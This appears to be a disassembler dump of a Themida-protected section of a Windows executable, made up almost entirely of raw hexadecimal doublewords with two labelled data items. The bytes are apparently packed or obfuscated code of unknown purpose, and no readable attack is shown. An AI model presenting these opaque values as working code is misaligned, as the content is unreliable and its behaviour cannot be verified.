		dd 3ACE0B63h, 596DD0CFh, 0B10DD5BFh, 8EB13229h,	32372351h
		dd 40D94290h, 0B1362928h, 0CEB15EA1h, 0B34656E6h, 0F4CD5E9Eh
		dd 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh, 0B72229D4h, 3A7347DEh
		dd 0EEB95292h, 3A2FBDE6h, 0EEB95232h, 3A21BDB6h, 0EEB9521Ah
		dd 0B56D7DA2h, 3237BDD4h, 0C43146D4h, 681917D4h, 0B0330A63h
		dd 4ECDA9CDh, 0B137EF45h, 1AC1565Dh, 3A53C145h,	72FBAA12h
		dd 596107FBh, 0B13256D5h, 88D8D7B0h, 3C37BE1Eh,	596DC820h
		dd 0B156EE58h, 63DA56AEh, 3A325657h, 5AF36DA0h,	0B57955C1h
		dd 0A64097D1h, 8A221D76h, 5A30247Bh, 5A26BD5Fh,	94A8DBBCh
		dd 4E37BEB9h, 3C3ABD78h, 59C31D4Fh, 0EAE1A9EFh,	0E4F10E2Ch
		dd 0B1DABA31h, 0EB32565Dh, 0DABABC2Fh, 3C5253BFh, 596DC811h
		dd 0B977DDD0h, 0F4B95163h, 0B575DF79h, 38221331h, 0F4B95A1Ah
		dd 0A175DFBAh, 0A1F09F36h, 34F436ABh, 0B4D05C9Ch, 0C2283EADh
		dd 4CDFE62h, 0B4D0401Bh, 0CB53D3D0h, 61CD534Bh,	7BB8DB05h
		dd 0E037BEF4h, 3C68862Ah, 596D9C68h, 0F1855970h, 0E3EADDB6h
		dd 0B2686752h, 0C8B0DF6Dh, 0D037B448h, 0E85251C3h, 0
		dd 0F9EA815Ah, 5205E86Bh, 1F79828Bh, 6DB905E2h,	0F741C64Eh
		dd 39055AE1h, 25000030h, 7FFFFFFFh, 1F798289h, 595A05E2h
aQrs		db 'ÃQRè',0             ; DATA XREF: Themida_:004EED5Co
		align 10h
		dd 29EA815Ah, 8B05E86Ch, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h
		dd 8BC3595Ah, 8DC08BC0h, 0E8623A85h, 66D0FF05h,	858DC18Bh
		dd 5E86BF2h, 1D898589h,	858D05E2h, 5E86C22h, 10A58589h
		dd 0B805E2h, 0B000000h,	47840FC0h, 0C6000000h, 0E20A4985h
		dd 0DF685605h, 0FFA9C530h, 0E216A1B5h, 61858D05h, 0FF05E57Ah
		dd 8D8D50D0h, 5E21859h,	68046A51h, 1000h, 2A95B5FFh, 0D0FF05E2h
		dd 2A95BD8Bh, 7F0305E2h, 0F8C7813Ch, 0C7000000h, 202447h
		dd 9D8D6000h, 5E20695h,	0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h
		dd 234CF6h, 0AE8h, 76479700h, 10104802h, 0F5A00688h, 0CB81665Fh
		dd 0C7814E92h, 64B5h, 888C94BBh, 18FBBE5Eh, 0B8660000h
		dd 178B7BD8h, 8E9h, 0E9459700h,	55079BBFh, 33C28190h, 0F238316h
		dd 887h, 0CB815700h, 2E8AAA8Fh,	0BDEA8159h, 0B44AE74Fh
		dd 0CCF2813Ah, 0E91AED9Ch, 0Fh,	880B1AB5h, 0D3EBFABBh
		dd 3FB00F54h, 5243D28Ah, 0FE8h,	1836D500h, 548A5133h, 5C936E4h
		dd 0A18564C3h, 0B9ECB966h, 66078F58h, 8396F9B8h, 0B70F02EFh
		dd 664F4FDAh, 59BDEB81h, 0D850F4Eh, 8A000000h, 28E9FDh
		dd 0D350000h, 84D6D46Ah, 12E9h,	8A587600h, 660EFB65h, 3029331h
		dd 9639EEEDh, 0E9D28F6Fh, 0FFFFFF5Eh, 67E84A7Ah, 8D8D6AB2h
		dd 5E86E33h, 8840Fh, 89600000h,	0E2246DB5h, 14E96105h
		dd 4D000000h, 7C31D9C5h, 9C010A35h, 999D9D79h, 0F7161FC0h
		dd 892BC48Bh, 0E20BE98Dh, 6E805h, 0BD350000h, 9C7D32AEh
		dd 13859589h, 0C75805E2h, 0E2076185h, 5ABC05h, 0C18B6600h
		dd 1B5585C7h, 5E2h, 0B5030000h,	5E22969h, 3DDB5FFh, 8D8905E2h
		dd 5E210E9h, 8B665350h,	0FF5858C6h, 0E20B1595h,	0D99D8B05h
		dd 6605E230h, 6AAEFEBBh, 0B995FF00h, 8B05E20Ah,	6C6EEBC0h
		dd 0A464B4F5h, 862942Fh, 751E1ED9h, 75BF434Dh, 0BA70D534h
		dd 1DE6D4FAh, 0B3CFA783h, 0A63F3CCCh, 407E56FFh, 0EEACA2F8h
		dd 8C46B76Ah, 7F7BB25Eh, 7ECE7D44h, 8389B488h, 0D19C19F3h
		dd 5270BDCFh, 0A4E713h,	9040A6C6h, 0CE248E0Bh, 0F34D25C7h
		dd 4C216EA3h, 65217918h, 10653100h, 0F7120477h,	3254D8E7h
		dd 0D222D73Bh, 38A3E56Bh, 2308EB62h, 92BA2h, 0E9000000h
		dd 0B0Dh, 0E8705A68h, 0DF0EE905h, 3C68FFFAh, 0E905E871h
		dd 0FFFADF04h, 0E872C468h, 0DEFAE905h, 0C868FFFAh, 0E905E873h
		dd 0FFFADEF0h, 0E875A768h, 0DEE6E905h, 2B68FFFAh, 0E905E877h
		dd 0FFFADEDCh, 0E8782768h, 0DED2E905h, 8FEAFFFAh, 59D52D4Ch
		dd 1C9D6504h, 0E440BEC1h, 0A506F89Fh, 225D375Ah, 0A7CA1596h
		dd 0E386DB5Bh, 3A5DA01Fh, 781F64C4h, 10EB0612h,	15A00546h
		dd 79474437h, 0E7C9A7FAh, 1DDE7385h, 2A5EDB4h, 0EDD55C21h
		dd 0F313368Bh, 0B678106Bh, 720AE639h, 0CFD2C1DFh, 976BF4ABh
		dd 3C99EA12h, 5FDA2789h, 0FFCFA98Eh, 0F9FE951Ch, 8CA00B30h
		dd 68A42FD5h, 983E88Eh,	33h, 52294DDEh,	257AF8C6h, 67FFD9EAh
		dd 0CFCB32CAh, 0AC0BF5ABh, 20052651h, 0D5519FE9h, 543C0188h
		dd 0B9B3A39h, 70144DA0h, 0E8FDA9E5h, 0FC4A83h, 119D0000h
		dd 0F1D02F8Fh, 0C9DAE59Bh, 0E2C7A496h, 0D5288BB7h, 17AAC25Ah
		dd 0A5ED8F64h, 200EEAC9h, 0E9FD7EC0h, 0ED8FA354h, 0C6AB88A5h
		dd 43DE7A4Bh, 0A5ED8FB8h, 7EB99E7Dh, 8C93F070h,	0ED946061h
		dd 8DED4FA5h, 87A4D32Eh, 0C1239FA2h, 0A68BD47Ch, 43E4E50Ah
		dd 6A38715Fh, 0C8139402h, 0A0304DEBh, 7BABCF5Ah, 439E1DE3h
		dd 9B5CF7D4h, 9EA00AF7h, 61FEC21Dh, 9AC7D788h, 0E8806535h
		dd 0B2EA255h, 0CCA487A0h, 5AA502FCh, 2CB0D275h,	0F303B02Bh
		dd 13F0926Dh, 0F479DA05h, 0AA738B28h, 561BB6CEh, 0CFA5F018h
		dd 0F97A44ECh, 0BC3F83A6h, 88332A61h, 697C50h, 8B64Fh
		dd 93EE4B00h, 6BB8328Ch, 207BFAC4h, 0FE43A101h,	0B904675Bh
		dd 0F541BE96h, 0B6082F72h, 7A44EB38h, 239FA2FDh, 71DD7CC1h
		dd 43B344D9h, 9A78A005h, 338E11A1h, 0D52D22Ch, 759DC26Ah
		dd 4DFFACA8h, 9AE5443Eh, 294DF9BEh, 21AEC652h, 7DD549Eh
		dd 237EFFEDh, 51F2D7F4h, 282A188Bh, 162B0574h, 0ABCF4D66h
		dd 0D0AFEAC9h, 0A00B1D23h, 9A59EF5Ah, 83E87F92h, 0A15AF70Fh
		dd 86A00B29h, 5DDDA5h, 78DCB489h, 0AEh,	328F114Fh, 1A5CD826h
		dd 337E43A0h, 0C4963112h, 14F449D5h, 7AFDC53Ch,	0AC95E827h
		dd 55A5ED6Ah, 46EC470Ah, 27F16D04h, 0E78AD759h,	0CD44991Bh
		dd 325E35B9h, 0CF86359Fh, 0A4CBA8ABh, 8BA5DE06h, 0EFD36A76h
		dd 8AA685A5h, 0D978C324h, 0E03B86E9h, 7C50C807h, 0D48FC029h
		dd 2D000007h, 14EA8DD0h, 0DC22459Ah, 837F025Dh,	49B9D825h
		dd 9CF49BE6h, 954D763h,	0C51A9866h, 9CDF5CA2h, 5EA305FDh
		dd 0AAC7533Bh, 0A00542D1h, 47837456h, 35EC12Fh,	0EDB38770h
		dd 0E1CFACA5h, 0E05C9C1Fh, 0E17C1483h, 0A5EDB416h, 765B381Bh
		dd 308DEFD3h, 8F11D811h, 59D82632h, 0CFF32A06h,	0ED71106Dh
		dd 0F966F289h, 0CE399Fh, 7B13FDEDh, 0CF9AF6E6h,	7E1AF9ABh
		dd 69B04BE6h, 9675A00Bh, 0FD7F43BAh, 69A556EBh,	0A98AA00Bh
		dd 0DB5DA5C4h, 0A0740B86h, 7027518Ch, 30B08339h, 0F2724CD3h
		dd 690F62ADh, 0A18C546h, 12DC893Fh, 0FFCC4B98h,	70CD2F11h
		dd 328F11D1h, 46C8A8C7h, 64D518C5h, 8ED355E0h, 942941EBh
		dd 18C546E3h, 0A38D6B48h, 0DBB5FC41h, 0D5579715h, 0BFCDAB88h
		dd 99345C37h, 1EA75ACFh, 0ACCE5132h, 88253348h,	18C533A4h
		dd 9BE649B7h, 0F8774F1Ch, 18FBCBA5h, 32F68291h,	0FF8B0D01h
		dd 0F472B231h, 7E4360AFh, 32BCBFD2h, 82610D01h,	4A09BFB6h
		dd 0F0DE9042h, 3DCE3h, 7947F400h, 3BCA5F8h, 0E16BA6B6h
		dd 93F7A56h, 59F78CD0h,	0CEE478C4h, 385033ABh, 4E2A75F6h
		dd 0A1E84FC2h, 6FF72119h, 0B3E17C14h, 0BE24DE14h, 0EF4DB3DDh
		dd 354FC692h, 99106DCBh, 165EECC4h, 1ABED37Dh, 0C51EFF62h
		dd 4644AE6h, 749035C3h,	0E6CB0172h, 0B906644Ah,	0E2836D7Eh
		dd 0D4479C1Ch, 3438225h, 4C99D623h, 0D5000006h,	9C620558h
		dd 44BADD22h, 0BF79AE5h, 0F13150ADh, 240C136Eh,	81DC5FEBh
		dd 5DA200FEh, 1467C43Ah, 0D62B8D75h, 324FDBB3h,	0A0054149h
		dd 4D3B0CEEh, 0F8C65229h, 354D2B78h, 0CFCCC098h, 0F60B23ABh
		dd 0A00B9B05h, 2D64492Ah, 325EA305h, 38106BCCh,	883CB5C1h
		dd 5AF68DD1h, 9ACCAFC2h, 6F51A00Bh, 1EFCC11h, 0B404D469h
		dd 4E7A5EDh, 1EB3CB65h,	9A29825Dh, 2917E1C2h, 333F7AC7h
		dd 0BD256CB1h, 3F3855EDh, 0E49A2982h, 23D46907h, 89A2983h
		dd 70144D2Bh, 5BFE43A5h, 6E3E727h, 2CF887Eh, 0BE000000h
		dd 2512FE41h, 0C652294Dh, 4EDE5F99h, 801D705Bh,	0A5ECB5F7h
		dd 9E7A5F3Ch, 24386B86h, 0ED05ABD5h, 446A750h, 49E48CA0h
		dd 0A00446AEh, 0E5B39073h, 0A40A2605h, 6959F843h, 831FC706h
		dd 30D90D62h, 34C2453h,	8B74B135h, 6B06D219h, 0A004128Bh
		dd 4CDF2484h, 767328B7h, 481748A1h, 0D9000005h,	807E015Ch
		dd 48B6D926h, 0FF396E9h, 0F5CD6CB1h, 20082F72h,	85D85BEFh
		dd 419E1CE2h, 1863C03Eh, 0DA278979h, 2E43DFB7h,	0A005404Dh
		dd 4D07F0D2h, 0AEC65229h, 1483E040h, 0DBC45937h, 90ABD621h
		dd 0FA7A44B3h, 0A52706D9h, 6146737Bh, 2380E0DEh, 156ACAF4h
		dd 457D49Ah, 0F497C48Dh, 0F69A9B1Ah
		dd 2453B00Ch, 0BB6D134Eh, 0AB6A1E6Bh, 3B55F449h, 0E32E73F5h
		dd 4448F6C2h, 0D183E2B4h, 0C54C91EFh, 0E64C08E0h, 93000001h
		dd 63C12F47h, 0B384771Eh, 0D7A9A5EDh, 0BA8B065Bh, 0B335FBD5h
		dd 9D1F236Eh, 599D2140h, 0A5FB1622h, 88ABCFD2h,	8B7BC826h
		dd 8A5BD62Bh, 81E0DEAEh, 71D2F33Eh, 513035F1h, 0C04F2C46h
		dd 95EA46A8h, 0D26F491Ah, 0A00B1F25h, 8E5BE158h, 2020DB76h
		dd 2605A00Bh, 7CE8244Ah, 5E8983E8h, 5E000000h, 0E9922F47h
		dd 4EA5EDB3h, 2D9CF46Dh, 9D1EC2DDh, 364D91B3h, 1FF5871Ah
		dd 5B38ABCFh, 0FD7A44DCh, 3A5677A2h, 0AEFD4A7h,	9E7A59A0h
		dd 0AEFF483h, 31FF8BA0h, 0A9F670B0h, 9E334DC4h,	0A00AEFDDh
		dd 0A29C6142h, 92B3FE41h, 6CF98FC6h, 53DE2182h,	9498A672h
		dd 3D83E851h, 0E0h, 328F1182h, 445B926h, 683CD564h, 0C6290980h
		dd 0B2323C7Bh, 54A226Dh, 68DF1BD8h, 6F10C65h, 2BA5ED3Dh
		dd 0A38D6B48h, 3C81E141h, 65F3D0F5h, 3CC7B0CDh,	8F6CA5EDh
		dd 546D80A1h, 2DA5ED41h, 341C61C3h, 0F295EA4Ah,	0CCAFC25Ah
		dd 51A5ED37h, 6084A672h, 0F471AD57h, 0AF8CC7B1h, 45EE6C81h
		dd 2E0DABD2h, 0A457EA02h, 89A008E4h, 1EB6CEAAh,	66A747B1h
		dd 3E1A2A1Fh, 32B1EF70h, 0BE83A0EFh, 318F719Bh,	219DA5ECh
		dd 2F11FFDCh, 6B1A71CCh, 41766E17h, 3697728h, 3BB60000h
		dd 56141E0h, 0C82999B8h, 90ECD275h, 51D22C33h, 8E016B0Eh
		dd 0C366B93Ah, 1F227FFFh, 56F944A3h, 94BB0868h,	6C0FA2BEh
		dd 0B1A0053Eh, 8E1118D3h, 52D22C33h, 0AAC26A0Dh, 0EDB36417h
		dd 18EAC9A5h, 8B6C4497h, 46CD1847h, 6FB28ED4h, 0ABCBACC1h
		dd 7350A5EDh, 459DBA5h,	0FE43A58Dh, 0D8B33B5Bh,	0BF4B1DB0h
		dd 0F0CEABCFh, 0C3E02F74h, 5A3F82E3h, 97B540DFh, 69C0A00Bh
		dd 0A3D81CD3h, 74C92B95h, 2840283Dh, 0EDABD395h, 325536A5h
		dd 922F47C5h, 0A5EDB3E9h, 0BD836D4Eh, 0D1ABE63Bh, 4E23378Eh
		dd 0E5B3BCB6h, 2544991Bh, 0A265D81h, 0CFCDA9F7h, 0A8E7C4ABh
		dd 54EB8FD0h, 7B7C5E36h, 0F1F3809Dh, 0BF3EA00Ah, 72BD0061h
		dd 3D058C51h, 0A8357CC1h, 0B9F52BD1h, 75B93CC0h, 1E83E84Fh
		dd 29h,	52294DA1h, 0CBD1ABC6h, 7754ABCFh, 7E4276D9h, 63E4DC63h
		dd 72011C95h, 15A00B88h, 0E12DA85Ch, 8283E8E9h,	0CCh, 328F1155h
		dd 2578FBC7h, 444D92EAh, 639C436Bh, 49AB9563h, 1DE3BDF4h
		dd 0FBC8479Ah, 8CD1531Dh, 0CD7F46EDh, 0CE2EA5ECh, 7846EE71h
		dd 5D5DDAF9h, 0F041FD4Ch, 0F97B4513h, 0A8E73AB9h, 2B7BB69Bh
		dd 0DA0C8C3h, 0ABCF493Bh, 789ABD9Eh, 5CF19FF4h,	0A5EFC0F8h
		dd 866800E3h, 1DB7DA25h, 53E512B2h, 0B9324D6Fh,	68BAF81Fh
		dd 14DAB69Bh, 3CDD4893h, 0C7C515Bh, 1E5B4EDh, 0BF3A0000h
		dd 89E5DD7Ch, 4CAD1534h, 14906EF1h, 0D556A8CFh,	128DE78Ah
		dd 57FA45A6h, 93B60B6Bh, 0EA8DD02Fh, 284F9414h,	0E09B3642h
		dd 45A0053Ch, 79479467h, 0E2CCA4F9h, 0AC123E81h, 328F114Fh
		dd 18BBF46Dh, 8D79B0FEh, 0BC3C82A3h, 46A8C067h,	0FABD9BE8h
		dd 0C652294Dh, 0CFCBD1ABh, 387754ABh, 95219E60h, 0B9B7F78h
		dd 0E2C7A4A0h, 9B7C7B16h, 7703A00Bh, 34D6EDE8h,	5F8A69E7h
		dd 83DFAEA3h, 221BF5DAh, 3AD7D79Eh, 0CA7883E8h,	4F000000h
		dd 0E9922F47h, 4EA5EDB3h, 3BBD836Dh, 2487ABE6h,	0F371BFD9h
		dd 0A2ED30B3h, 5DD4BC81h, 3C81FDC3h, 0B8083954h, 45A7A5EDh
		dd 903F59F8h, 19232B5Eh, 624C2446h, 1072BD02h, 499B7CCh
		dd 0ABCF4544h, 228CA487h, 13307FC4h, 5E862445h,	3F60B25h
		dd 64A5EFBAh, 0EBC51A9Ah, 0AE10381Bh, 936FF24Dh, 0C35ECD10h
		dd 917C50E1h, 0E92718h,	0BB360000h, 85E1C160h, 48A91938h
		dd 106C52F5h, 0D152ACB3h, 0E81EB8Eh, 43E639BAh,	9FA2FF7Fh
		dd 0D679C423h, 143B88E8h, 0EC8F223Eh, 31A0053Bh, 18479853h
		dd 0BFDD01D4h, 47A89A54h, 0D1521CF4h, 0EFCC1193h, 0E3942941h
		dd 48A5ED09h, 2FC8D6Bh,	0AC335DA2h, 0FF79B028h,	0E78652C9h
		dd 328F1112h, 2479FBC7h, 67DE105h, 22C8D76Ah, 0C6A5ABD6h
		dd 0B805674Bh, 67C72999h, 59D0B508h, 0C920F1CAh, 8E320DACh
		dd 0B9D82587h, 1F9AE749h, 24F4D553h, 6F984594h,	66E29528h
		dd 64479341h, 4B77A287h, 0DB2689E9h, 6FAA8F5Ch,	66FFF815h
		dd 47249341h, 41A1017Fh, 0CF901FFCh, 0C7D6ABCBh, 9FD692DAh
		dd 0AE1B37E9h, 38991B1Ah, 0E8BC7AF5h, 5BD80Fh, 0F2D7B489h
		dd 0CC11936Fh, 0D0C45h,	64FC0000h, 40DC2EC9h, 3810F393h
		dd 112E197Fh, 0E0CE4994h, 0CAF42380h, 0DBE7126Dh, 0A78B065Bh
		dd 0B0BEF944h, 9DA5EC2Fh, 6B57C21Fh, 7678B70Ah,	5C68A7FCh
		dd 8904EC83h, 0E789243Ch, 4C781h, 0EF830000h, 243C8704h
		dd 5C83685Ch, 14890000h, 0E7895724h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 50241C89h, 0E5AEF68h, 24048B3Ch, 504C483h
		dd 0C9DA140Ch, 8358C289h, 248904ECh, 24048124h,	4, 3903685Bh
		dd 14890000h, 8438F24h,	56241C8Bh, 0C681E689h, 4, 8704C683h
		dd 0FF5C2434h, 815A2434h, 4C4h,	0D416E900h, 67C2FFFAh
		dd 0CDB2B0CCh, 0E2E3207Bh, 7935B89Ch, 0C50305E8h, 617E0FFh
		dd 8D936999h, 0BAA802D2h, 8FBE1141h, 0AA19393Ah, 95716465h
		dd 6884357Ah, 8D8D4E56h, 5E87A91h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 42C35646h, 51F4B7A8h, 89F1E345h
		dd 0E20BE98Dh, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0C6810716h, 20AD9B32h
		dd 76185C7h, 642805E2h,	0BF660000h, 85C74FC7h, 5E21B55h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 93C35040h
		dd 8BFBD09Fh, 0CA68A098h, 10E5B5FFh, 0BF6605E2h, 95FF659Dh
		dd 5E20B15h, 36E88166h,	0FF006A8Fh, 0E20AB995h,	0EBC08B05h
		dd 0C04D207Fh, 496F0043h, 0DD7A4203h, 0EBECFC79h, 2170223Dh
		dd 0E95150BEh, 1C26E8C3h, 0DE0BC045h, 29B74385h, 0DDE124F7h
		dd 1CB7B6Eh, 0C031F553h, 93AB4947h, 776FCEFCh, 0C82B6ECDh
		dd 1F105DF2h, 81D7F066h, 4C0ACEF1h, 1CB2793Bh, 0F41BF411h
		dd 0CEC5B0D5h, 55C96696h, 9E657F62h, 4A3F7000h,	0BEE8F3Bh
		dd 0DE35381Ch, 0BBA5CB8Fh, 0B3539721h, 0B201C870h, 9FE5374h
		dd 1414D3ABh, 5D23C6A7h, 8EBh, 58F50000h, 81E90563h, 68000004h
		dd 5E87C23h, 0FA04E6E9h, 7C8568FFh, 0DCE905E8h,	68FFFA04h
		dd 5E87DDEh, 0FA04D2E9h, 0EEAA2CFFh, 515581E0h,	0B804F4B5h
		dd 0E2A82F12h, 4A5885E4h, 4F50374Ch, 0A79A008Eh, 1606E34h
		dd 76CBD7DBh, 0D79F3B81h, 0C24809AEh, 9499F9F0h, 7239AE56h
		dd 4B3235B4h, 44B9B801h, 4C88CB7Eh, 2FB83D48h, 9E1CDD04h
		dd 498EF170h, 0D10E9449h, 0CFB8014Ah, 29776442h, 0BAEC4DFCh
		dd 0D501FA37h, 0D220F9Eh, 1EF9FBB7h, 68A5ECD8h,	0C73FE721h
		dd 2E0h, 0CF770FFBh, 5EFB6E42h,	1FAC3D8h, 82050473h, 0B3B5A603h
		dd 176CF9FAh, 0FAB30536h, 4667DCF9h, 15893D1Ah,	0EE7BFC9Ch
		dd 3EBA290Fh, 0D99D972h, 85B61316h, 5CFF5F5Fh, 60EDC6E7h
		dd 127CDD4Ch, 7D02BD39h, 50AE706h, 0F1993E21h, 1008D0FFh
		dd 7465245Bh, 0ABA63336h, 0BC37B853h, 327713B4h, 7FBAC7C5h
		dd 0EAFB38D9h, 2E2B49Fh, 8B4D0000h, 36BE830Fh, 0E5155472h
		dd 894C3DD9h, 39A28703h, 31D06F6Bh, 0A5216F6Ch,	38F15C4h
		dd 0EAF0BC3Eh, 0BE246297h, 69EA4FB6h, 0B8F9F0C5h, 7B1831F5h
		dd 0D577D057h, 8020134h, 0F7C139h, 0BDEA63BAh, 0B1B0ED6Eh
		dd 1B870DCEh, 9CEFB526h, 0F0C2B9B3h, 4C4A8FF9h,	5C84F427h
		dd 23026704h, 280h, 2DA9EDEBh, 0F61C985Ch, 5F7B47B3h, 21ADEBEAh
		dd 89159B40h, 0D10A9372h, 7762C7C3h, 1EDCAD29h,	0C4357492h
		dd 0ED14D8C6h, 0F0C50B4Ch, 935BDAF9h, 0D0577B18h, 9A128D47h
		dd 0F95AA205h, 2F586ED4h, 9B5F82FFh, 0EE4BB617h, 201867Eh
		dd 0E643DA91h, 0F9F19449h, 0E1281C5Ah, 3FED3C2Ch, 1AF83h
		dd 696EA700h, 1659D823h, 6622D2E4h, 28D19029h, 82C56462h
		dd 36278056h, 0EFFC18B9h, 0A9825B90h, 388180A4h, 1FAD852h
		dd 0DE4BFEB5h, 3ED23C85h, 7BC011FCh, 378CE4Fh, 6331A81Fh
		dd 630AD318h, 0FA576906h, 8FC7AF9h, 0FEBC3B7Ah,	0FD8459EDh
		dd 302B3FE6h, 1F000000h, 0D0577B18h, 0CD615E47h, 0F9C2A825h
		dd 9A2111B6h, 67F001FAh, 241DD74Eh, 57B6E322h, 0FAB8750Ah
		dd 14E066F9h, 0E614409Dh, 0D1EF3Fh, 6ED30000h, 0AB3C2369h
		dd 80184463h, 83AA33E8h, 12159B40h, 73F43885h, 714AC781h
		dd 226E6BEAh, 0F891F4B8h, 92961795h, 0FF34618Bh, 0F6B425ACh
		dd 0D6A47FE8h, 0E512FC18h, 13303BA7h, 2089083Fh, 0FC18D42Fh
		dd 0F13089E6h, 0FD044468h, 78C14001h, 0F9FDA4F7h, 0A4A39435h
		dd 572F9FDh, 0D992219h,	8B703336h, 33A89905h, 0E54D006Dh
		dd 3550045Fh, 1276Ah, 4246B000h, 0B5F1E544h, 1CA05829h
		dd 4644B3F6h, 0AEF4E958h, 0D3EC8B20h, 0B7E642Ah, 65C4C2D0h
		dd 0DAAF2B77h, 73739F1Dh, 0C4A49532h, 307DF9F0h, 276D6ECAh
		dd 31756120h, 7214BDEAh, 4E50A50Fh, 6127AE11h, 1208D11Ah
		dd 0F2E6AA2Fh, 117430A4h, 0DF1C6FA4h, 6A4E0FA8h, 0A887FC18h
		dd 6E695773h, 99D82369h, 0DBC5A60h, 0FF0E8A4Ah,	8F946D7Eh
		dd 0AC03A4DBh, 0DA01FB05h, 0C8535F9Bh, 97EC3A83h, 6CF81190h
		dd 0F1693BCAh, 0BBCE8F28h, 2807F9FAh, 4C488CF3h, 0B907F47Bh
		dd 0BBB5CA1Dh, 5287F9FAh, 2FB4E54h, 7D0669BCh, 87000000h
		dd 528214C4h, 49863756h, 5A20B932h, 0D0577B18h,	134D177h
		dd 0EC3F7402h, 0B83C7465h, 41E6A9FCh, 0F9F0C210h, 0C03D6AC1h
		dd 0F4E4A7DAh, 0A7501FA8h, 0AFBD9AE1h, 5EF94B9Bh, 8D1A281Ch
		dd 797C1E91h, 58A51A33h, 0DD1A4566h, 0AF3FA8DFh, 0D1A5EC16h
		dd 9CEDB902h, 14A4575Bh, 1863D8E4h, 0DC0766D3h,	5E649919h
		dd 73A8EEEBh, 0B084CE28h, 8B179542h, 207B41B6h,	341h, 9DA76500h
		dd 0D92C686Eh, 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh
		dd 1F6E34A9h, 9B21D4h, 769519C1h, 788307CFh, 0E08950F2h
		dd 405h, 4E88300h, 8B240487h, 0D3682424h, 89000017h, 2F68242Ch
		dd 8900002Dh, 0B8502414h, 5E87B42h, 48BC589h, 4C48124h
		dd 83000000h, 248904ECh, 24048124h, 4, 3481555Ah, 9A564624h
		dd 8428F34h, 5646B951h,	4A31349Ah, 34FF5908h, 0C4815A24h
		dd 4, 53242C8Bh, 0C381E389h, 4,	8704C383h, 0E95C241Ch
		dd 0FFFA0073h, 0A68F8305h, 0E87F2AB8h, 0FFC50305h, 31FADDE0h
		dd 0B189396Ah, 8D9FDB6Fh, 0DBBB5164h, 0B24EC247h, 0FFC1FE2Eh
		dd 7799EA0Eh, 2201B642h, 704DD61Ah, 0A97D8600h,	6E8F846Ch
		dd 93E8AD45h, 0E5E1C10Dh, 0B28D8D33h, 8B05E880h, 0E98D89F9h
		dd 0F05E20Bh, 85C7C6BFh, 5E20761h, 6CECh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 5BC35646h, 0FDF6EABEh
		dd 0E8D60FCAh, 6, 19CF8D21h, 0B70F3E70h, 85C75EDEh, 5E21B55h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 6BC35040h
		dd 8B47E12Eh, 0E225D585h, 0C8D08005h, 1CD1B5FFh, 6A05E2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 493664C3h, 2038934h,	68A0F60h, 8B000000h, 0E215419Dh
		dd 819D0105h, 6105E218h, 0B1595FFh, 880F05E2h, 2, 6A04B6h
		dd 0AB995FFh
		db 0E2h
byte_555D69	db 5, 8Bh, 0C0h		; DATA XREF: Themida_:004F0074o
		dd 91924CEBh, 0B69B70DCh, 0B3F6B8A5h, 8E6F2FC5h, 851BD380h
		dd 0E4836CBEh, 0FF5EC337h, 770F51DEh, 7AE2C96Dh, 2BAE147Dh
		dd 43015B88h, 0E0DE2CD3h, 0E388E366h, 2CAE4F0Ah, 0C9A2AF6Bh
		dd 11D1A6C9h, 0AB51A57h, 0E9CEAE81h, 2B047E32h,	13E8BABEh
		dd 0D1000000h, 0FCFA1219h, 14C5D667h, 96C448B6h, 0B21931CCh
		dd 0BD89FFFCh, 5E20D4Dh, 0DDC18159h, 8B000072h,	0E20AB595h
		dd 8349BB05h, 0F3815B88h, 5B889FD8h, 0B819D29h,	31FF05E2h
		dd 0DE958h, 727E0000h, 5FE38BB4h, 0C1BC55CBh, 81394290h
		dd 0FF526CE8h, 85896009h, 5E22FC1h, 0D8F78166h,	0E8816136h
		dd 5461F70Ah, 81E2CE80h, 0E3C5D2E8h, 1DB52316h,	5005E22Ch
		dd 21EDBD2Bh, 18F05E2h,	23BDBD89h, 0E98305E2h, 1EB8304h
		dd 0FFA8850Fh, 9E9FFFFh, 12000000h, 7E9124A7h, 44A6C2E9h
		dd 0FE8h, 1F16B700h, 22A18A2Ch,	87B46EACh, 0C88D9052h
		dd 9E95Ah, 0E1940000h, 4EF7836Dh, 81D50A81h, 6266C2h, 51858B00h
		dd 0BB05E20Ch, 3461DA52h, 3E1BC381h, 0B589CB9Eh, 5E20AFDh
		dd 860F32FFh, 3, 5ECF8B66h, 81C0D080h, 8F71B1EEh, 75858B56h
		dd 8105E207h, 315B9F6h,	0FEB70F0Eh, 0F430EE81h,	0F18121E5h
		dd 4971DDB5h, 0D8813289h, 13329A51h, 2301EA83h,	0E20CE1BDh
		dd 4A4A4A05h, 83C68B66h, 850F01EBh, 0Eh, 25E9F8h, 33160000h
		dd 6617E597h, 8D292678h, 5E22C89h, 0FFFF97E9h, 0BAC3F3FFh
		dd 0FE1CD14Bh, 1B8BEC9Ch, 536650DDh, 0E82D8FD0h, 14h, 0F947B0E7h
		dd 0C2565B97h, 0C79C471Dh, 0EC815893h, 1E1A263Eh, 4799D89h
		dd 0F5A05E2h, 0C281F0BFh, 66ADh, 0B8FA8Bh, 89000000h, 0E21CE1BDh
		dd 1034FF05h, 5E9h, 33736B00h, 6659CA42h, 0E981F28Bh, 4E614A7Dh
		dd 1484F181h, 8B664E00h, 12F181F8h, 89126057h, 0E201799Dh
		dd 20C8905h, 0E883DA8Bh, 81FE8B04h, 0FF9A08F8h,	1F850FFFh
		dd 1000000h, 0E2089DBDh, 3BE905h, 433F0000h, 6309A631h
		dd 0AB9EBE27h, 38C212Eh, 0AF196417h, 13E91720h,	55000000h
		dd 915EDD91h, 1B01C310h, 59041403h, 68393860h, 82E98A7Dh
		dd 0A5FFFFFFh, 0ACFCB935h, 0F4A34180h, 0F8D8DDDh, 6A05E884h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
